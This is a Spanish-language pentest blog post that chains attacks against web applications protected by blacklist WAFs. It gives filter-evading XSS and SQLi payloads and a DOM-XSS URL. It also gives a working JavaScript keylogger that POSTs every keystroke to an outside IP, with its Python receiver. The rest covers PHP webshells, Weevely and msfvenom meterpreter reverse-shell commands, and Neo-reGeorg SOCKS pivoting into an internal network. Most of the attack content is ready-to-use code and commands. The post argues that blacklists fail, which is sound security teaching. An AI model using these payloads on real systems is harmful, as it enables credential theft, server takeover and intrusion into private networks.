Un WAF con blacklist no detiene nada, solo lo retrasa
La mayoría de aplicaciones web que se auditan en un pentest no tienen un filtro mal configurado por accidente: tienen un filtro pensado para la firma exacta de un ataque, no para el ataque en sí. alert('xss') bloqueado, prompt('xss') pasando sin problema. ' or '1'='1 en la lista negra, ' or 6=6 ignorado por completo. Esa distancia entre "firma bloqueada" y "vulnerabilidad cerrada" es el punto de partida de este post: cómo se encadena evasión de encoding, un XSS basado en DOM, exfiltración de teclas y una subida de fichero maliciosa hasta terminar con un túnel SOCKS hacia la red interna.
El encoding no es un detalle, es la superficie de evasión
Antes de tocar un payload hay que saber en qué capa se está codificando el dato, porque cada capa abre una vía de bypass distinta.
URL encoding sustituye el carácter por % más su valor ASCII en hexadecimal. El caso interesante no es codificar < o > (eso lo detecta cualquier regla básica) sino combinar capas: un payload en Base64 metido dentro de un parámetro URL-encoded pasa dos veces desapercibido para un WAF que solo decodifica una capa antes de aplicar sus reglas.
# URL Encoding -> Base64
http://pruebas/login.php?redirect=ZXN0byBlcyB1bmEgcHJ1ZWJhDQo%3D
HTML encoding resuelve el mismo problema en el lado del navegador: <script> se convierte en <script> (nombre de entidad), <script> (decimal) o <script> (hexadecimal). Un WAF que busca la cadena literal <script> no ve ninguna de las tres formas.
Con esto ya se puede razonar por qué las blacklists pierden casi siempre: cubren la representación más obvia del ataque, no el espacio completo de representaciones equivalentes.
Identificar el WAF antes de intentar evadirlo
Perder tiempo probando bypasses a ciegas contra un WAF desconocido es ineficiente. Dos herramientas resuelven esto rápido:
wafw00f https://objetivo.com
Wafw00f identifica más de 20 tipos de WAF con una sola petición. Si prefieres integrarlo en un escaneo de puertos ya en marcha:
nmap --script http-waf-fingerprinting -p80,443 objetivo.com
Una vez confirmado que hay blacklist (no whitelist), el catálogo de payloads alternativos es amplio. Para XSS, en vez de la firma clásica:
prompt('xss')
confirm(1)
window[/alert/.source]('a')
Para robar la cookie sin escribir la palabra document.cookie literal:
alert(document[/coo/.source+/kie/.source])
Y para SQLi, en vez de ' or '1'='1 :
' or 6=6
' or 0x47=0x47
' or 1=true
Ninguno de estos trucos es sofisticado. Funcionan porque casi todas las blacklists en producción cubren cinco o seis variantes conocidas, no el lenguaje completo del navegador o del intérprete SQL.
XSS basado en DOM: el que no toca el servidor
El XSS reflejado clásico depende de que el servidor devuelva el payload en la respuesta. El basado en DOM no necesita eso: el propio JavaScript del cliente inserta datos no confiables en el documento, y el servidor nunca ve el ataque. Esto lo hace más difícil de detectar con herramientas server-side, porque no hay nada raro en los logs del backend.
Ejemplo de código vulnerable real, tomado del patrón más común en aplicaciones que procesan el fragmento de la URL:
<script>
var test = "Hello " + decodeURIComponent(location.hash.split("#")[1]);
var divElement = document.createElement("div");
divElement.innerHTML = test;
document.body.appendChild(divElement);
</script>
location.hash nunca se envía al servidor: es la parte de la URL después de # . El problema es que ese valor entra directo en innerHTML sin pasar por ningún escape. Con una URL como:
https://objetivo.com/#<img src=x onerror=alert(document.cookie)>
el payload se ejecuta en el navegador de la víctima sin que ningún WAF perimetral lo vea pasar, porque técnicamente nunca hizo una petición HTTP con ese contenido.
De alert() a exfiltración real: keylogging con XSS
alert(document.cookie) demuestra la vulnerabilidad pero no es lo que se explota en un escenario real. Un XSS persistente o reflejado con suficiente alcance permite instalar un keylogger que envía cada pulsación a un servidor controlado por el atacante.
var l = "";
document.onkeypress = function (e) {
l += e.key;
var req = new XMLHttpRequest();
req.open("POST", "http://178.62.22.172:8000/", true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.send("data=" + l);
}
El receptor puede ser tan simple como esto en Python:
import http.server
import socketserver
PORT = 8000
class ServerHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
content_len = int(self.headers.get('Content-Length', 0))
post_body = self.rfile.read(content_len)
print(post_body)
with socketserver.TCPServer(("", PORT), ServerHandler) as httpd:
httpd.serve_forever()
Con esto y una URL con el script embebido en el hash, cualquier víctima que haga clic empieza a filtrar cada tecla que pulsa en la página (credenciales incluidas) sin que la aplicación registre nada anómalo en su propio backend.
File Upload: cuando la subida de ficheros no valida nada
Si XSS ataca al navegador de la víctima, File Upload ataca directamente al servidor. La vulnerabilidad aparece cuando la aplicación permite subir un archivo cuya extensión el intérprete del lenguaje ejecuta como código. En PHP, las funciones que convierten un simple .php subido en ejecución de comandos son conocidas.
<?php system($_GET['cmd']) ?>
Con eso ya hay una webshell mínima. Para algo más manejable que un system() suelto, Weevely genera un payload cifrado con contraseña:
weevely generate abcxyz /root/Desktop/hack.php
Y una vez subido al servidor vulnerable, la conexión es directa:
weevely 10.0.2.4/dvwa/hackable/uploads/hack.php abcxyz
Cuando el objetivo es una shell interactiva completa en lugar de comandos sueltos, msfvenom genera el payload y Metasploit escucha.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=4444 -f raw
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
Cuando el filtro sí existe pero solo revisa la extensión contra una blacklist, .php1 , .php3 , .phtml o la inserción de un null byte ( %00 ) suelen bastar para colarse. La lección de fondo es la misma que con XSS: filtrar por lista negra es filtrar contra lo que ya se conoce, no contra lo que es posible.
Pivoting a la red interna con Neo-reGeorg
Una webshell en un servidor DMZ no es el final del ataque, es el punto de apoyo. reGeorg (y su sucesor, Neo-reGeorg, con menor tasa de detección por AV/EDR) convierte esa webshell en un proxy SOCKS hacia la red interna que el servidor comprometido sí puede alcanzar.
python neoreg.py generate -k <clave> --file 404.html
python neoreg.py -k <clave> -u <URL> --skip
Con el túnel levantado y proxychains apuntando al puerto local que abre Neo-reGeorg, un simple nmap contra el rango interno usa el servidor comprometido como salto:
proxychains nmap -sT -Pn 10.10.10.0/24
Ese es el arco completo: un filtro con blacklist se evade con encoding, el XSS basado en DOM entrega el payload sin pasar por el servidor, File Upload da ejecución de código, y reGeorg convierte esa ejecución en acceso a una red que en teoría estaba fuera de alcance. Ninguno de los pasos individuales es exótico: la parte que de verdad importa es entender por qué cada control fallado abre exactamente el siguiente paso.